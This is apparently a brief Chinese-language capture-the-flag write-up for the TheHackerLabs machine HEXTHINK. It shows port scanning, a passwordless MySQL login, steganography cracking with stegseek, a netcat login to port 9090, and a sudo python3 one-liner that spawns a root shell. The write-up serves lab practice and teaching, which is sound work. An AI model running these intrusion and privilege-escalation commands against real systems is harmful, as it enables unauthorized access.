TheHackerLabs_HEXTHINK_Writeup
nmap 端口扫描
22
80
3306
9090
访问 web 80
页显示错误和可能的用户 ctf_user
目录扫描,发现 phpinfo 信息其他无信息
尝试用 ctf_user 远程连接数据库,无密码登陆成功
mysql -h $IP -u ctf_user --skip-ssl
DBeaver 远程连接数据库
查到用户表,内有账号和md5密码值,不过这是网站的用户,没什么用
继续翻表,新闻表里有文字,提示“你已经走了很远了,但还有很远的路要走”
数据内容为 jpg 图片,导出为文件
拖入 010,可以看到内容分层,存在隐藏文件信息
stegseek imagen.jpg rockyou.txt
提取出隐藏文件,得到一个密码和提示
![[Pasted image 20250726215513.png]]
根据提示,nc 打通 9090 端口
1 | echo -e "LOGIN whisper\nKEY whisper9090" | nc 10.0.2.16 9090 |
echo -e 将 \n 解释为换行符。
ssh 登录到 whisper 用户成功,得到用户 flag
sudo -l
有 python3
sudo python3 -c 'import pty, os; os.execv("/bin/bash", ["bash"])'
提权成功
-c
:表示后面跟着的是一个要执行的 Python 命令(code)。
All articles on this blog are licensed under CC BY-NC-SA 4.0 unless otherwise stated.